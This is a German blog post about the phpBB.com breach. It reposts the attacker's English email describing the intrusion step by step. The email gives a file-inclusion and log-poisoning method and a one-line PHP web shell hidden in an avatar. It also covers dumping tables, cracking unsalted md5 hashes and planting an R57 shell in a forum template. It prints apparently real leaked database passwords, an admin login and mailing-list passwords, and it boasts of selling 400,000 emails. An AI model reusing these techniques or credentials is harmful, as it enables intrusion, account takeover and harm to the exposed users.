gehacked über phplist lücke?

Eben kam die folgende E-Mail bei mir an. Darin wird beschrieben wie ein vermeintlicher Hack der Foren über eine Lücke im phplist Script durchgeführt wurde. Ich weiß nicht ob das wirklich authentisch ist, aber auf den ersten Blick scheint es durchaus zu stimmen. ist down und die verlinkten SQL Dumps auf rapidshare wurden schon gemeldet. Komisch ist nur, dass noch niemand darüber berichtet hat. ich bin mal gespannt was noch passiert und werde am Ball bleiben.

Update: Der Hack scheint wirklich so stattgefunden zu haben. Zumindest wurde er vom phpbb Team per Twitter bestätigt.

Die E-Mail mit Erklärungen zur Vorgehensweise gibts in der Vollansicht des Artikels oder auf der Seite

It all started on Jan 14th when I was surfing milw0rm and came across
this exploit:
I then remembered that was running PHPlist and went
looking through my email to find the link to the script’s location.
So I went to and sure enough they were running a
vulnerable version. Next I enabled my favorite program proxy program
and tried

and sure enough it included the etc/passwd

So I moved on to /etc/httpd/conf/httpd.conf

And eventually found my way to their error log
/home/logs/ After a little looking I figured out
that their forums were running off /home/virtual/
well it has been known for some time that you can include code in the
error log. So I wanted to run some code, well in PHPBB3 the avatars
are located in a folder called
/home/virtual/ and your
avatar is called (secret hash)_userid.jpg. But I didn’t know what
the secret has was to include my picture (that had my own code in it)
so by using the error log I injected code <?php system(“ls
/home/virtual/“) ?>

And figured out that their hash is f51ee61fe7a83fdf72780912bced0855.
So now every time I want to upload run code against the server I can
include this:

So my first avatar was something simple <?php system($_POST(“c”)); ?>
and I wanted to see if phpbb kept their config file in plain text so
cat /home/virtual/ and sure enough, its
in plain text.

$dbms = ‘mysqli';

$dbhost = ‘‘;

$dbport = ”;

$dbname = ‘phpbb';

$dbuser = ‘phpbb2′;

$dbpasswd = ‘saxM9nfRjLbJ2Yy5′;

$table_prefix = ‘community_';

While I was at it I checked out the config for PHPlist and it was
also in plain text:

$database_host = “localhost”;

$database_name = “phpbb_phplist”;

$database_user = ‘phplist';

$database_password = ‘Berti3_Danc3′;

So I started running commands and found out that I can upload a php
text file on the forums and by finding where the path it was stored I
was able to get around their 14kb restrictions on avatars and a lot
easier than editing images with edjpgcom. So doing a mysql dump of the
phplist_admin table it showed in plain text that the password for the
one admin account was phpbb_n3ws and the login was phpBB. Wow I am
shocked no one brute forced this. So I login and see what I can come
across, wow 400,000 registered emails, I’m sure that will go quick
on the black market, sorry people but expect a lot of spam. After
trying to modify the files that were stored in PHPlist I gave up and
moved on to the forums. But not before dumping the PHPlist emails

On the phpbb forums it states it has 200,000 members, but due to them
constantly getting spammed they have well over 400,000 accounts. I
started dumping the community_users table with their user_id, username
and user_password. PHPBB stores their user’s passwords in unsalted
md5 and their admin’s passwords in some funky hash. But if you run
your own forum and are an admin you can have your forums create the
hash, and then you do an mysql update to one of the admin account’s
and your in. Or if you change their password to yours you can use the
recover password function. More to come from this later.

So I wrote a script that submits via curl, the md5 hash to a website
and then stores the successful result in my own mysql database. The
total accounts cracked are: 28635. I could have continued cracking but
it was getting boring. Here is a sql file of the cracked passwords.
Warning, some of the user name’s aren’t right as I had to remove
ticks and quotes for it to run in my script, so I included their user
id so you can check their proper login name.

In gaining access to the admin panel of the forums, I was able to
read staff forums and come across some interesting posts. I will share
some with you.

List passwords:

TO try and make this easier, below is a list of the mailing list
passwords I had, please update and add any others that you have 54a946c47dd434b2 6f543db8f086e11f c192b68baacc8842 f85ffcdf9262420c 5db5bf75be85191b 7c843188ed2f6021 533aeefe56bfa30c 859785a9cc724e03 3c79b9864ae5ce43 7e9563750650e4c4 534d4a9b74bb77aa 8f318ffd3a2067c8 81657892dddafdca 85c837b7f78e5435

Told you they were random Meik ;)

edit by dhn: added website-commits

edit by tm: added phpbb-honey-commits, st–tool-commits,


That password should work for all mailing lists on

Emergency contacts and irc info:

And then I remembered that the admin panel allows you to dump tables.
So I dumped the users table which is accessible here:

Next I enabled php in template files and added this bit of code to
one of the templates:

<!– PHP –>$ip=$_SERVER[‘REMOTE_ADDR’]; if($ip ==

Which happened to be a shell, R57shell actually. I then searched for
a writable directory and created a php file and wrote the source code
to that file. I cleaned up the template and settings and logs and left
the forums to run the way they were.

After searching around using the shell I came across the Blog

define(‘DB_NAME’, ‘wordpress’); // The name of the database

define(‘DB_USER’, ‘blog’); // Your MySQL username

define(‘DB_PASSWORD’, ‘htsCCvyCnt5jPYMx’); // …and password

define(‘DB_HOST’, ‘localhost’); // 99% chance you won’t need to
change this value

define(‘DB_CHARSET’, ‘utf8′);

define(‘DB_COLLATE’, ”);

And now it comes to an end, you may ask why did I do this? For fun
mainly, but what I would like to suggest to the team at phpbb is this.
If you are going to run third party scripts, either integrate them or
keep up to date on their patches. (even though the patch wasn’t
released for 2 weeks). Also don’t allow admin’s to recover their
passwords, they should have to contact another admin. Another item,
doesn’t keep plain text files of passwords or in the database plain
text passwords.

I know this isn’t the best read, but it is very hard to look back
on everything you did over the course of a few weeks. But hopefully I
can now sleep better knowing that I am not worrying about the next way
to break in.

To unsubscribe from this list visit

Powered by PHPlist,

One thought on “ gehacked über phplist lücke?

Comments are closed.